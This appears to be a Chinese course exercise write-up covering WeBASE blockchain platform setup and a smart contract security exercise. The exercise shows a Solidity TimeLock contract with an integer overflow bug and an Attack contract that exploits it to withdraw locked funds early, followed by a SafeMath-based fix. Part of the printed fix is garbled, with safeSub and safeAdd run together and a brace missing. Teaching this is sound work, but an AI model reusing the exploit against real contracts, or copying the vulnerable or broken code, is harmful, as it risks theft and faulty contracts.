WeBASE 平台搭建、验证

WeBASE 部署

# 启动python3 deploy.py startAll

webase.sgin 功能验证

webase-node-mgr 进程验证

智能合约安全测试

例题二

源码

pragma solidity ^0.7.6;contract TimeLock {mapping(address => uint) public balances;mapping(address => uint) public lockTime;function deposit() external payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease;}function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds");require(block.timestamp > lockTime[msg.sender], "Lock time not expired");uint amount = balances[msg.sender];balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");}}contract Attack {TimeLock timeLock;constructor(TimeLock _timeLock) {timeLock = TimeLock(_timeLock);}fallback() external payable {}function attack() public payable {timeLock.deposit{value: msg.value}();timeLock.increaseLockTime(type(uint).max + 1 - timeLock.lockTime(address(this)));timeLock.withdraw();}}

分析问题,说明危害

这个是智能合约中比较典型的漏洞,即为整型溢出。当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都出现类似的问题。

根据 truffle 编写测试用例,复现漏洞

  • 在migrations文件夹中加入代码部署的执行代码

  • 具体测试用例编写内容如下

  • 当测试用例执行成功即表示攻击成功,会有如下内容输出:

修复问题,说明修复内容并测试

  • 新智能合约

可以使用类似SafeMath的通用函数,来确保所有加减乘除方法安全,通过定义包括safeAdd等函数确保了智能合约的运算正确性,从而规避了整型溢出的问题,如下为修改后的智能合约示例:

// SPDX-License-Identifier: MITpragma solidity ^0.7.6;contract SafeMath {function safeMul(uint256 a, uint256 b) internal returns (uint256) {uint256 c = a * b;assert(a == 0 || c / a == b);return c;} function safeDiv(uint256 a, uint256 b) internal returns (uint256) {assert(b > 0);uint256 c = a / b;assert(a == b * c + a % b);return c;} function safeSub(uint256 a, uint256 b) internal returns (uint256) {assert(b =a && c>=b);return c;}}contract NewTimeLock is SafeMath {mapping(address => uint) public balances;mapping(address => uint) public lockTime;function deposit() external payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] = safeAdd(lockTime[msg.sender], _secondsToIncrease);}function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds");require(block.timestamp > lockTime[msg.sender], "Lock time not expired");uint amount = balances[msg.sender];balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");}}contract NewAttack {NewTimeLock timeLock;constructor(NewTimeLock _timeLock) {timeLock = NewTimeLock(_timeLock);}fallback() external payable {}function attack() public payable {timeLock.deposit{value: msg.value}();/*if t = current lock time then we need to find x such thatx + t = 2**256 = 0so x = -t2**256 = type(uint).max + 1so x = type(uint).max + 1 - t*/timeLock.increaseLockTime(type(uint).max + 1 - timeLock.lockTime(address(this)));timeLock.withdraw();}
  • 验证测试
    • 使用同样的测试用例,再执行,验证测试攻击是否仍能成功,如下为验证正确性的测试

  • 当有交易被回滚,说明修复成功: